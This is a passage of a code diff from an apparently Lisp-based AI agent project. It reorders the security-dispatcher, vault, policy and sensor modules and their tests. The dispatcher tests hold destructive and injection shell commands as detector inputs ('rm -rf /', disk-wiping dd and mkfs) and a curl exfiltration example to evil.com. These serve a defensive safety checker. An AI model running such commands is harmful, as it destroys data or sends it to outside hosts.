(is (search "not found" (getf result :message))))
(tools-cleanup)))
(test test-org-modify-file-missing-params
"org-modify-file returns error without required params."
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
(is (eq (getf result :status) :error))))
(in-package :passepartout-programming-tools-tests)
(test test-modified-files-track-write

374
lisp/security-dispatcher.lisp
View File

@@ -1,3 +1,189 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-dispatcher-tests
(:use :cl :fiveam :passepartout)
(:export #:dispatcher-suite))
(in-package :passepartout-security-dispatcher-tests)
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
(in-suite dispatcher-suite)
(test test-wildcard-match
"Contract 1: wildcard pattern * matches any characters."
(is (wildcard-match "*.env" ".env"))
(is (wildcard-match "*.env" "prod.env"))
(is (wildcard-match "*credential*" "my-credential-file"))
(is (wildcard-match "*.key" "id_rsa.key"))
(is (not (wildcard-match "*.env" "config.yaml"))))
(test test-check-secret-path
"Contract 2: dispatcher-check-secret-path matches protected patterns."
(is (dispatcher-check-secret-path ".env"))
(is (dispatcher-check-secret-path "id_rsa"))
(is (not (dispatcher-check-secret-path "README.org"))))
(test test-self-build-core-protection
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
;; Core paths are recognized
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
;; With SELF_BUILD_MODE=true, core writes produce approval-required
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let ((result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
;; With SELF_BUILD_MODE=false (default), writes pass through
(let ((result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type))))))
(test test-check-shell-safety
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
(is (dispatcher-check-shell-safety "rm -rf /"))
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
(is (not (dispatcher-check-shell-safety "echo hello world")))
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
(test test-shell-safety-severity-catastrophic
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
(is (eq :catastrophic (getf r1 :severity)))
(is (eq :catastrophic (getf r2 :severity)))))
(test test-shell-safety-severity-dangerous
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
(is (eq :dangerous (getf result :severity)))))
(test test-shell-safety-severity-safe
"Contract 3/v0.4.3: harmless commands return nil."
(is (null (dispatcher-check-shell-safety "echo hello world")))
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
(test test-dispatcher-severity-max
"dispatcher-severity-max returns the higher tier."
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
(test test-check-privacy-tags
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
(is (dispatcher-check-privacy-tags '("@personal")))
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
(test test-check-network-exfil
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello"))))
;; ── v0.7.2 Tag Stack ──
(test test-tag-categories-load
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
(passepartout::tag-categories-load)
(let ((cats passepartout::*tag-categories*))
(is (>= (length cats) 1))
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
(test test-privacy-severity-block
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
(setf passepartout::*tag-categories* '(("@personal" . :block)))
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
(test test-privacy-severity-warn
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
(test test-privacy-severity-nil
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
(setf passepartout::*tag-categories* nil)
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
(test test-tag-trigger-record
"v0.7.2: tag-trigger-record increments per-tag count."
(clrhash passepartout::*tag-trigger-count*)
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@draft")
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
(clrhash passepartout::*tag-trigger-count*))
(test test-tag-categories-privacy-fallback
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
(sb-posix:unsetenv "TAG_CATEGORIES")
(passepartout::tag-categories-load)
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :block (passepartout::tag-category-severity "@draft")))
;; Restore
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
(passepartout::tag-categories-load)))
(test test-safe-tool-read-only-auto-approve
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "test-ro-tool"
:description "Read-only test"
:parameters nil
:guard nil
:body nil
:read-only-p t))
(unwind-protect
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
(result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type)))
(is (not (member (getf result :type) '(:LOG :approval-required)))))
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
(in-package :passepartout)
(defvar *dispatcher-network-whitelist*
@@ -397,7 +583,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(action-str (getf attrs :ACTION)))
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
(let ((action (ignore-errors (read-from-string action-str))))
(let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
(when action
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
@@ -525,192 +711,6 @@ Recognized formats:
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
(list :total total :by-gate sorted)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-dispatcher-tests
(:use :cl :fiveam :passepartout)
(:export #:dispatcher-suite))
(in-package :passepartout-security-dispatcher-tests)
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
(in-suite dispatcher-suite)
(test test-wildcard-match
"Contract 1: wildcard pattern * matches any characters."
(is (wildcard-match "*.env" ".env"))
(is (wildcard-match "*.env" "prod.env"))
(is (wildcard-match "*credential*" "my-credential-file"))
(is (wildcard-match "*.key" "id_rsa.key"))
(is (not (wildcard-match "*.env" "config.yaml"))))
(test test-check-secret-path
"Contract 2: dispatcher-check-secret-path matches protected patterns."
(is (dispatcher-check-secret-path ".env"))
(is (dispatcher-check-secret-path "id_rsa"))
(is (not (dispatcher-check-secret-path "README.org"))))
(test test-self-build-core-protection
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
;; Core paths are recognized
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
;; With SELF_BUILD_MODE=true, core writes produce approval-required
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let ((result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
;; With SELF_BUILD_MODE=false (default), writes pass through
(let ((result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type))))))
(test test-check-shell-safety
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
(is (dispatcher-check-shell-safety "rm -rf /"))
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
(is (not (dispatcher-check-shell-safety "echo hello world")))
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
(test test-shell-safety-severity-catastrophic
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
(is (eq :catastrophic (getf r1 :severity)))
(is (eq :catastrophic (getf r2 :severity)))))
(test test-shell-safety-severity-dangerous
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
(is (eq :dangerous (getf result :severity)))))
(test test-shell-safety-severity-safe
"Contract 3/v0.4.3: harmless commands return nil."
(is (null (dispatcher-check-shell-safety "echo hello world")))
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
(test test-dispatcher-severity-max
"dispatcher-severity-max returns the higher tier."
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
(test test-check-privacy-tags
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
(is (dispatcher-check-privacy-tags '("@personal")))
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
(test test-check-network-exfil
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello"))))
;; ── v0.7.2 Tag Stack ──
(test test-tag-categories-load
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
(passepartout::tag-categories-load)
(let ((cats passepartout::*tag-categories*))
(is (>= (length cats) 1))
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
(test test-privacy-severity-block
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
(setf passepartout::*tag-categories* '(("@personal" . :block)))
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
(test test-privacy-severity-warn
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
(test test-privacy-severity-nil
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
(setf passepartout::*tag-categories* nil)
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
(test test-tag-trigger-record
"v0.7.2: tag-trigger-record increments per-tag count."
(clrhash passepartout::*tag-trigger-count*)
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@draft")
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
(clrhash passepartout::*tag-trigger-count*))
(test test-tag-categories-privacy-fallback
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
(sb-posix:unsetenv "TAG_CATEGORIES")
(passepartout::tag-categories-load)
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :block (passepartout::tag-category-severity "@draft")))
;; Restore
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
(passepartout::tag-categories-load)))
(test test-safe-tool-read-only-auto-approve
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "test-ro-tool"
:description "Read-only test"
:parameters nil
:guard nil
:body nil
:read-only-p t))
(unwind-protect
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
(result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type)))
(is (not (member (getf result :type) '(:LOG :approval-required)))))
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
(in-package :passepartout-security-dispatcher-tests)
(test test-block-record-increments

32
lisp/security-permissions.lisp
View File

@@ -1,19 +1,3 @@
(in-package :passepartout)
(defvar *permission-table* (make-hash-table :test 'equal))
(defun permission-set (tool-name level)
"Sets the permission level for a tool."
(setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
(defun permission-get (tool-name)
"Retrieves the permission level for a tool. Defaults to :ask."
(gethash (string-downcase (string tool-name)) *permission-table* :ask))
(defskill :passepartout-security-permissions
:priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -42,3 +26,19 @@
(permission-set :CapitalTool :deny)
(is (eq :deny (permission-get :capitaltool)))
(permission-set "CapitalTool" nil))
(in-package :passepartout)
(defvar *permission-table* (make-hash-table :test 'equal))
(defun permission-set (tool-name level)
"Sets the permission level for a tool."
(setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
(defun permission-get (tool-name)
"Retrieves the permission level for a tool. Defaults to :ask."
(gethash (string-downcase (string tool-name)) *permission-table* :ask))
(defskill :passepartout-security-permissions
:priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil))

40
lisp/security-policy.lisp
View File

@@ -1,23 +1,3 @@
(in-package :passepartout)
(defun policy-compliance-check (action context)
"Enforces constitutional invariants on proposed actions."
(declare (ignore context))
(let* ((payload (proto-get action :payload))
(explanation (proto-get payload :explanation)))
(if (and explanation (stringp explanation) (> (length explanation) 10))
action
(progn
(log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
(defskill :passepartout-security-policy
:priority 500
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'policy-compliance-check)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -48,3 +28,23 @@
(let* ((action '(:type :REQUEST :payload (:action :read)))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))))
(in-package :passepartout)
(defun policy-compliance-check (action context)
"Enforces constitutional invariants on proposed actions."
(declare (ignore context))
(let* ((payload (proto-get action :payload))
(explanation (proto-get payload :explanation)))
(if (and explanation (stringp explanation) (> (length explanation) 10))
action
(progn
(log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
(defskill :passepartout-security-policy
:priority 500
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'policy-compliance-check)

32
lisp/security-validator.lisp
View File

@@ -1,19 +1,3 @@
(in-package :passepartout)
(defun validator-protocol-check (msg)
"Enforces structural schema compliance on protocol messages."
(validate-communication-protocol-schema msg))
(defskill :passepartout-security-validator
:priority 95
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx))
(handler-case
(progn (validator-protocol-check action) action)
(error (c)
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -41,3 +25,19 @@
(let ((msg '(:payload (:sensor :heartbeat))))
(signals error
(validator-protocol-check msg))))
(in-package :passepartout)
(defun validator-protocol-check (msg)
"Enforces structural schema compliance on protocol messages."
(validate-communication-protocol-schema msg))
(defskill :passepartout-security-validator
:priority 95
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx))
(handler-case
(progn (validator-protocol-check action) action)
(error (c)
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))

72
lisp/security-vault.lisp
View File

@@ -1,39 +1,3 @@
(in-package :passepartout)
(defvar *vault-memory* (make-hash-table :test 'equal)
"In-memory cache of sensitive credentials.")
(defun vault-get (provider &key (type :api-key))
"Retrieves a credential from the vault or environment."
(let* ((key (format nil "~a-~a" provider type))
(val (gethash key *vault-memory*)))
(if val
val
(let ((env-var (case provider
(:gemini "GEMINI_API_KEY")
(:openai "OPENAI_API_KEY")
(:anthropic "ANTHROPIC_API_KEY")
(:openrouter "OPENROUTER_API_KEY")
(otherwise nil))))
(when env-var (uiop:getenv env-var))))))
(defun vault-set (provider secret &key (type :api-key))
"Stores a secret in the vault."
(let ((key (format nil "~a-~a" provider type)))
(setf (gethash key *vault-memory*) secret)))
(defun vault-get-secret (provider)
"Retrieves a stored secret or token for a gateway provider."
(vault-get provider :type :secret))
(defun vault-set-secret (provider secret)
"Stores a secret or token for a gateway provider."
(vault-set provider secret :type :secret))
(defskill :passepartout-security-vault
:priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -84,3 +48,39 @@
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
(vault-set :vault-type-test nil :type :api-key)
(vault-set :vault-type-test nil :type :secret))
(in-package :passepartout)
(defvar *vault-memory* (make-hash-table :test 'equal)
"In-memory cache of sensitive credentials.")
(defun vault-get (provider &key (type :api-key))
"Retrieves a credential from the vault or environment."
(let* ((key (format nil "~a-~a" provider type))
(val (gethash key *vault-memory*)))
(if val
val
(let ((env-var (case provider
(:gemini "GEMINI_API_KEY")
(:openai "OPENAI_API_KEY")
(:anthropic "ANTHROPIC_API_KEY")
(:openrouter "OPENROUTER_API_KEY")
(otherwise nil))))
(when env-var (uiop:getenv env-var))))))
(defun vault-set (provider secret &key (type :api-key))
"Stores a secret in the vault."
(let ((key (format nil "~a-~a" provider type)))
(setf (gethash key *vault-memory*) secret)))
(defun vault-get-secret (provider)
"Retrieves a stored secret or token for a gateway provider."
(vault-get provider :type :secret))
(defun vault-set-secret (provider secret)
"Stores a secret or token for a gateway provider."
(vault-set provider secret :type :secret))
(defskill :passepartout-security-vault
:priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil))

136
lisp/sensor-time.lisp
View File

@@ -1,3 +1,71 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-sensor-time-tests
(:use :cl :fiveam :passepartout)
(:export #:sensor-time-suite))
(in-package :passepartout-sensor-time-tests)
(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
(in-suite sensor-time-suite)
(test test-format-time-for-llm-includes-year
"Contract 1: format-time-for-llm returns a string with the current year."
(let ((result (passepartout::format-time-for-llm)))
(is (stringp result))
(is (search "202" result))
(is (search "TIME" result))))
(test test-format-time-for-llm-utc
"Contract 1: iso format includes Z suffix."
(let ((result (passepartout::format-time-for-llm)))
(is (stringp result))
(is (search "Z" result))))
(test test-format-time-for-llm-natural
"Contract 1: natural format produces human-readable date."
(let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
(unwind-protect
(progn
(setf (uiop:getenv "TIME_FORMAT") "natural")
(let ((result (passepartout::format-time-for-llm)))
(is (stringp result))
(is (search "UTC" result))))
(setf (uiop:getenv "TIME_FORMAT") old-env))))
(test test-format-time-for-llm-with-session
"Contract 1: with session duration, includes session info."
(let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
(is (search "1h 2m" result))))
(test test-session-duration
"Contract 2: session-duration returns a positive number after init."
(passepartout::sensor-time-initialize)
(let ((dur (passepartout::session-duration)))
(is (numberp dur))
(is (>= dur 0))))
(test test-sensor-time-tick-empty
"Contract 3: sensor-time-tick returns nil when no deadlines are near."
(clrhash passepartout::*memory-store*)
(let ((result (passepartout::sensor-time-tick)))
(is (null result))))
(test test-sensor-time-tick-detects-deadline
"Contract 3: sensor-time-tick detects a deadline close in time."
(clrhash passepartout::*memory-store*)
(setf passepartout::*deadline-warning-minutes* 120)
(let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago
(ingest-ast (list :type :HEADLINE
:properties (list :ID "deadline-test"
:TITLE "Submit report"
:DEADLINE (write-to-string near-future-time))
:contents nil)))
(let ((result (passepartout::sensor-time-tick)))
(is (not (null result)))
(is (search "Submit report" result))))
(in-package :passepartout)
(defvar *session-start-time* nil
@@ -99,71 +167,3 @@ Called by the time-tick cron job every minute."
(format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts))))))
(sensor-time-initialize)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-sensor-time-tests
(:use :cl :fiveam :passepartout)
(:export #:sensor-time-suite))
(in-package :passepartout-sensor-time-tests)
(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
(in-suite sensor-time-suite)
(test test-format-time-for-llm-includes-year
"Contract 1: format-time-for-llm returns a string with the current year."
(let ((result (passepartout::format-time-for-llm)))
(is (stringp result))
(is (search "202" result))
(is (search "TIME" result))))
(test test-format-time-for-llm-utc
"Contract 1: iso format includes Z suffix."
(let ((result (passepartout::format-time-for-llm)))
(is (stringp result))
(is (search "Z" result))))
(test test-format-time-for-llm-natural
"Contract 1: natural format produces human-readable date."
(let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
(unwind-protect
(progn
(setf (uiop:getenv "TIME_FORMAT") "natural")
(let ((result (passepartout::format-time-for-llm)))
(is (stringp result))
(is (search "UTC" result))))
(setf (uiop:getenv "TIME_FORMAT") old-env))))
(test test-format-time-for-llm-with-session
"Contract 1: with session duration, includes session info."
(let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
(is (search "1h 2m" result))))
(test test-session-duration
"Contract 2: session-duration returns a positive number after init."
(passepartout::sensor-time-initialize)
(let ((dur (passepartout::session-duration)))
(is (numberp dur))
(is (>= dur 0))))
(test test-sensor-time-tick-empty
"Contract 3: sensor-time-tick returns nil when no deadlines are near."
(clrhash passepartout::*memory-store*)
(let ((result (passepartout::sensor-time-tick)))
(is (null result))))
(test test-sensor-time-tick-detects-deadline
"Contract 3: sensor-time-tick detects a deadline close in time."
(clrhash passepartout::*memory-store*)
(setf passepartout::*deadline-warning-minutes* 120)
(let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago
(ingest-ast (list :type :HEADLINE
:properties (list :ID "deadline-test"
:TITLE "Submit report"
:DEADLINE (write-to-string near-future-time))
:contents nil)))
(let ((result (passepartout::sensor-time-tick)))
(is (not (null result)))
(is (search "Submit report" result))))

76
lisp/symbolic-archivist.lisp
View File

@@ -1,3 +1,41 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-symbolic-archivist-tests
(:use :cl :passepartout)
(:export #:archivist-suite))
(in-package :passepartout-symbolic-archivist-tests)
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
(fiveam:in-suite archivist-suite)
(fiveam:test test-extract-headlines
"Contract 1: archivist-extract-headlines parses Org content."
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
(headlines (archivist-extract-headlines content)))
(fiveam:is (listp headlines))
(fiveam:is (>= (length headlines) 1))))
(fiveam:test test-headline-to-filename
"Contract 2: archivist-headline-to-filename sanitizes titles."
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
(fiveam:is (not (search ":" filename)))))
(fiveam:test test-archivist-create-note
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
(uiop:ensure-all-directories-exist (list tmp-dir))
(unwind-protect
(progn
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
"Expected note creation to return T")
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
"Expected file test_note.org to exist"))
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
(in-package :passepartout)
(in-package :passepartout)
@@ -239,41 +277,3 @@ and dispatches as needed. Called by the deterministic gate."
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
:deterministic #'archivist-run)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-symbolic-archivist-tests
(:use :cl :passepartout)
(:export #:archivist-suite))
(in-package :passepartout-symbolic-archivist-tests)
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
(fiveam:in-suite archivist-suite)
(fiveam:test test-extract-headlines
"Contract 1: archivist-extract-headlines parses Org content."
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
(headlines (archivist-extract-headlines content)))
(fiveam:is (listp headlines))
